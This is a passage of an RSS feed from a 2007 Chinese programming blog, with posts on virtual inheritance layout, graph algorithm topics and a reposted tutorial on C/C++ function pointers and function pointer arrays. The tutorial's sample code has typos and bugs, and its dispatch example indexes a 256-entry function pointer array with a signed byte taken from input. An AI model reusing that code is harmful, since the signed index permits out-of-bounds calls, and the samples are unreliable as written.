&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 指针必须紧紧的接在虚基类子对象的前面，所以vbc指针所指向的内容为&ldquo;偏移 - 4&rdquo;；<br />
&nbsp;&nbsp;&nbsp; 3. 由于VC8将偏移放在了虚函数表中，所以为了区分函数地址和偏移，所以偏移是用补<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 码int表示的负值；<br />
&nbsp;&nbsp;&nbsp; 4. 间接性可以通过性能来看出，在虚继承体系同通过指针访问成员时的时间一般是一般<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 类访问情况下的4倍左右，符合汇编语言输出文件中的汇编语句的安排。<br />
</p>
          <br/><br/>
          <span style="color:red;">
            <a href="http://zzg810314.javaeye.com/blog/134075#comments" style="color:red;">已有 <strong>0</strong> 人发表留言，猛击-&gt;&gt;<strong>这里</strong>&lt;&lt;-参与讨论</a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">Windows7在微软WinHEC 2008上揭开神秘面纱</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Sun, 21 Oct 2007 21:02:34 +0800</pubDate>
        <link>http://zzg810314.javaeye.com/blog/134075</link>
        <guid>http://zzg810314.javaeye.com/blog/134075</guid>
      </item>
          <item>
        <title>关于图的算法</title>
        <author>zzg810314</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://zzg810314.javaeye.com">zzg810314</a>&nbsp;
                    链接：<a href="http://zzg810314.javaeye.com/blog/133825" style="color:red;">http://zzg810314.javaeye.com/blog/133825</a>&nbsp;
          发表时间: 2007年10月20日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <p>深度优选遍历，广度优选遍历</p>
<p>最小生成树（普利姆算法）</p>
<p>最短路径</p>
<p>拓扑排序</p>
          <br/><br/>
          <span style="color:red;">
            <a href="http://zzg810314.javaeye.com/blog/133825#comments" style="color:red;">已有 <strong>0</strong> 人发表留言，猛击-&gt;&gt;<strong>这里</strong>&lt;&lt;-参与讨论</a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">Windows7在微软WinHEC 2008上揭开神秘面纱</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Sat, 20 Oct 2007 17:17:04 +0800</pubDate>
        <link>http://zzg810314.javaeye.com/blog/133825</link>
        <guid>http://zzg810314.javaeye.com/blog/133825</guid>
      </item>
          <item>
        <title>(转) 深入理解C/C++函数指针</title>
        <author>zzg810314</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://zzg810314.javaeye.com">zzg810314</a>&nbsp;
                    链接：<a href="http://zzg810314.javaeye.com/blog/126139" style="color:red;">http://zzg810314.javaeye.com/blog/126139</a>&nbsp;
          发表时间: 2007年09月22日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <div>
<h4 class="TextColor1" id="subjcns!68C21584AD4BB2C!120" style="MARGIN-BOTTOM: 0px"><font color="#ff0000">原文地址:http://blog.sina.com.cn/u/1082089673</font></h4>
<h4 class="TextColor1" style="MARGIN-BOTTOM: 0px"><font color="#ff0000">函数指针数组的妙用</font></h4>
<p class="TextColor1" style="MARGIN-BOTTOM: 0px">&nbsp;</p>
<div id="msgcns!68C21584AD4BB2C!120">
<div><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 笔者在开发某软件过程中遇到这样一个问题，前级模块传给我二进制数据，输入参数为 char* buffer和 int length，buffer是数据的首地址，length表示这批数据的长度。数据的特点是：长度不定，类型不定，由第一个字节（buffer[0]）标识该数据的类型，共有256（28 ）种可能性。我的任务是必须对每一种可能出现的数据类型都要作处理，并且我的模块包含若干个函数，在每个函数里面都要作类似的处理。若按通常做法，会写出如下代码：<br />
<br />
void MyFuntion( char* buffer, int length )<br />
{<br />
　　　　__int8 nStreamType = buffer[0];<br />
<br />
　　　　switch( nStreamType )<br />
　　　　{<br />
　　　　　　　case 0:<br />
　　　　　　　　　　　function1();<br />
　　　　　　　　　　　break;<br />
　　　　　　　case 1:<br />
　　　　　　　......<br />
　　　　　　　case 255:<br />
　　　　　　　　　　　function255();<br />
　　　　　　　　　　　break;<br />
　　　　　}<br />
}</span> </div>
<div></div>
<div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span><span>如果按照这种方法写下去，那么在我的每一个函数里面，都必须作如此多的判断，写出的代码肯定很长，并且每一次处理，都要作许多次判断之后才找到正确的处理函数，代码的执行效率也不高。针对上述问题，我想到了用函数指针数组的方法解决这个问题。<br />
<br />
　　函数指针的概念，在潭浩强先生的C语言程序设计这本经典的教程中提及过，在大多数情况下我们使用不到，也忽略了它的存在。函数名实际上也是一种指针，指向函数的入口地址，但它又不同于普通的如int*、double*指针，看下面的例子来理解函数指针的概念：<br />
int funtion( int x, int y );<br />
void main ( void )<br />
{<br />
&nbsp;　　　int (*fun) ( int x, int y );<br />
&nbsp;　　　int a = 10, b = 20;<br />
&nbsp;　　　function( a, b );<br />
&nbsp;　　　fun = function;<br />
&nbsp;　　　（*fun）( a, b );<br />
&nbsp;　　　　&hellip;&hellip;<br />
}<br />
　　语句1定义了一个函数function，其输入为两个整型数，返回也为一个整型数（输入参数和返回值可为其它任何数据类型）；语句3定义了一个函数指针，<font color="#ff0000"><strong>与int*或double*定义指针不同的是，函数指针的定义必须同时指出输入参数，表明这是一个函数指针，并且*fun也必须用一对括号括起来</strong></font>；语句6将函数指针赋值为funtion，前提条件是*fun和function的输入参数和返回值必须保持一致。语句5直接调用函数function（），语句7是调用函数指针，二者等效。<br />
<br />
　　当然从上述例子看不出函数指针的优点，目的主要是想引出函数指针数组的概念。我们从上面例子可以得知，既然函数名可以通过函数指针加以保存，那们也一定能定义一个数组保存若干个函数名，这就是函数指针数组。正确使用函数指针数组的前提条件是，这若干个需要通过函数指针数组保存的函数必须有相同的输入、输出值。</span><br />
</span><span><span></span></span></div>
<div><span><span>这样，我工作中所面临的问题可以解决如下：<br />
<br />
首先定义256个处理函数(及其实现)。<br />
<br />
void funtion0( void );<br />
&hellip;&hellip;<br />
void funtion255(void );<br />
<br />
其次定义函数指针数组，并给数组赋值。<br />
void (*fun[256])(void);<br />
<br />
fun[0] = function0;<br />
&hellip;&hellip;<br />
fun[255] = function();<br />
最后，MyFunction()函数可以修改如下：<br />
<br />
void MyFuntion( char* buffer, int length )<br />
{<br />
　　　　__int8 nStreamType = buffer[0];<br />
　　　　（*fun[nStreamType]）();<br />
}<br />
<br />
　　只要2行代码，就完成了256条case语句要做的事，减少了编写代码时工作量，将nStreamType作为数组下标，直接调用函数指针，从代码执行效率上来说，也比case语句高。假如多个函数中均要作如此处理，函数指针数组更能体现出它的优势。</span></span></div>
<h4 class="TextColor1" id="subjcns!68C21584AD4BB2C!119" style="MARGIN-BOTTOM: 0px"><span><font color="#ff0000">函数指针与typedef</font></span></h4>
<div id="msgcns!68C21584AD4BB2C!119">
<div>
<div><span>关于C++中函数指针的使用(包含对typedef用法的讨论)<br />
<strong><font size="4">（一）简单的函数指针的应用。</font></strong><br />
<font color="#00ff00">//形式1：返回类型(*函数名)(参数表)</font><br />
<strong>char (*pFun)(int);<br />
char glFun(int a){ return;}<br />
void main()<br />
{<br />
&nbsp;&nbsp;&nbsp; pFun = glFun;<br />
&nbsp;&nbsp;&nbsp; (*pFun)(2);<br />
}</strong><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;第一行定义了一个指针变量pFun。首先我们根据前面提到的&ldquo;形式1&rdquo;认识到它是一个指向某种函数的指针，这种函数参数是一个int型，返回值是char类型。只有第一句我们还无法使用这个指针，因为我们还未对它进行赋值。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; 第二行定义了一个函数glFun()。该函数正好是一个以int为参数返回char的函数。<font color="#ff0000"><strong>我们要从指针的层次上理解函数&mdash;&mdash;函数的函数名实际上就是一个指针，函数名指向该函数的代码在内存中的首地址。<br />
</strong></font>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 然后就是可爱的main()函数了，它的第一句您应该看得懂了&mdash;&mdash;它将函数glFun的地址赋值给变量pFun。main()函数的第二句中&ldquo;*pFun&rdquo;显然是取pFun所指向地址的内容，当然也就是取出了函数glFun()的内容，然后给定参数为2。<br />
<font size="4"><strong>（二）使用typedef更直观更方便。</strong></font><br />
<font color="#00ff00">//形式2：typedef 返回类型(*新类型)(参数表)</font><br />
<strong>typedef char (*PTRFUN)(int);<br />
PTRFUN pFun;<br />
char glFun(int a){ return;}<br />
void main()<br />
{<br />
&nbsp;&nbsp;&nbsp; pFun = glFun;<br />
&nbsp;&nbsp;&nbsp; (*pFun)(2);<br />
}</strong><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;